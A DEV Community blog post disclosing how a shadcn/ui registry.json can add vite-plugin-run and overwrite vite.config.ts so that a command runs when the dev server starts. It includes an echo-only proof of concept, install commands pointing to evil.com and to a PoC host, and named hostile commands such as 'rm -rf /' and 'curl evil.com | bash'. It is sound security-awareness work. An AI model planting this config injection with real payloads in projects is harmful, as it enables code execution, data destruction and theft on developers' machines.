DEV Community

Cover image for The Risk of Registry Injection Attacks with shadcn
Adem Kouki
Adem Kouki

Posted on • Edited on

The Risk of Registry Injection Attacks with shadcn

TL;DR: Shadcn registries let you install UI components fast, but they can also include dev dependencies, overwrite config files, and silently inject malicious code into your project.

POC:

So the other day, I was digging through the shadcn/ui registry documentation.

I was exploring how the registry system works. It's a cool idea: you can define a list of components, and it installs everything you need... Dependencies, files, even configuration files etc.

But then I noticed something that gave me chills.

devDependecies

A registry.json file can have this:

{
    "$schema": "https://ui.shadcn.com/schema/registry-item.json",
    "name": "component1",
    "type": "registry:ui",
    "title": "A simple component",
    "devDependencies": [ "vite-plugin-run" ], <----- THIS LINE
    ...
}
Enter fullscreen mode Exit fullscreen mode

That seems harmless, right? It’s just a dev dependency.

But here’s the thing: this plugin "vite-plugin-run" can execute arbitrary commands when your dev server starts. Let me show you.

Let’s say someone gives you a component and tells you to use it:

npx shadcn@latest add https://evil.com/registry.json --overwrite
Enter fullscreen mode Exit fullscreen mode

You trust them. Maybe it's from a GitHub repo. Maybe it's from a tweet. Maybe it even says “official” in the README.

Let’s take a look inside https://evil.com/registry.json

{
    "$schema": "https://ui.shadcn.com/schema/registry-item.json",
    "name": "test",
    "type": "registry:ui",
    "title": "Test",
    "devDependencies": [
        "vite-plugin-run"
    ],
    "files": [
        {
            "path": "vite.config.ts",
            "content": "import { defineConfig } from \"vite\";\nimport react from \"@vitejs\/plugin-react\";\nimport { run } from \"vite-plugin-run\";\nimport path from \"path\";\nimport tailwindcss from \"@tailwindcss\/vite\";\n\nexport default defineConfig({\n  plugins: [\n    \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n    run({\n      silent: false,\n      input: [\n        {\n          name: \"command\",\n          run: [\n            \"echo\",\n            \"You trusted the wrong registry! You've been hacked :)\",\n          ],\n        },\n      ],\n    }),\n    \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n    react(),\n    tailwindcss(),\n  ],\n  resolve: {\n    alias: {\n      \"@\": path.resolve(__dirname, \".\/src\"),\n    },\n  },\n});",
            "type": "registry:file",
            "target": "~/vite.config.ts"
        }
    ]
}
Enter fullscreen mode Exit fullscreen mode

registry.json content

This registry.json looks like a normal shadcn component, but it’s actually a trap.

It installs "vite-plugin-run", overwrites your vite.config.ts, and injects a command that runs when the dev server starts.

import { defineConfig } from "vite";
import react from "@vitejs/plugin-react";
import { run } from "vite-plugin-run";
import path from "path";
import tailwindcss from "@tailwindcss/vite";

export default defineConfig({
  plugins: [
    ////////////////////////////////
    run({
      silent: false,
      input: [
         {
          name: "command",
          run: [
            "echo",
            "You trusted the wrong registry! You've been hacked :)",
          ],
        },
      ],
    }),
    ////////////////////////////////
    react(),
    tailwindcss(),
  ],
  resolve: {
    alias: {
      "@": path.resolve(__dirname, "./src"),
    },
  },
});
Enter fullscreen mode Exit fullscreen mode

That vite-plugin-run lets me execute any shell command I want. Literally anything.

npm run dev

It could be "rm -rf /" , it could be "curl evil.com | bash", or it could just silently send your secret files somewhere. And the best part? It runs as soon as you start vite.

No warning, no prompt. Just... "Boom"

You won’t even notice until it’s too late.

tldr

What can you do?

  • Treat third-party registries like you treat npm packages
  • Never Trust a Registry You Didn’t Write
  • That --overwrite Flag? It’s a Trap
  • Just Because It’s JSON Doesn’t Mean It’s Safe

Stay vigilant. Just because something comes from a registry or looks like simple JSON doesn’t mean it’s safe.

If you're curious and want to try it yourself, here's a minimal registry.json to experiment with:

Github Repository: https://github.com/Ademking/shadcn-registry-injection-poc

npx shadcn@latest add https://shadcn-poc.surge.sh/fake-component.json --overwrite
Enter fullscreen mode Exit fullscreen mode

Top comments (1)

Collapse
 
barhouum7 profile image
IboTech

Great work exposing this Adem! Didn't realize registry.json could open the door to silent RCE like this. Thanks for highlighting it! But watta heck you'll do with the calc or opening a browser tab; you have rm -rf / lol😅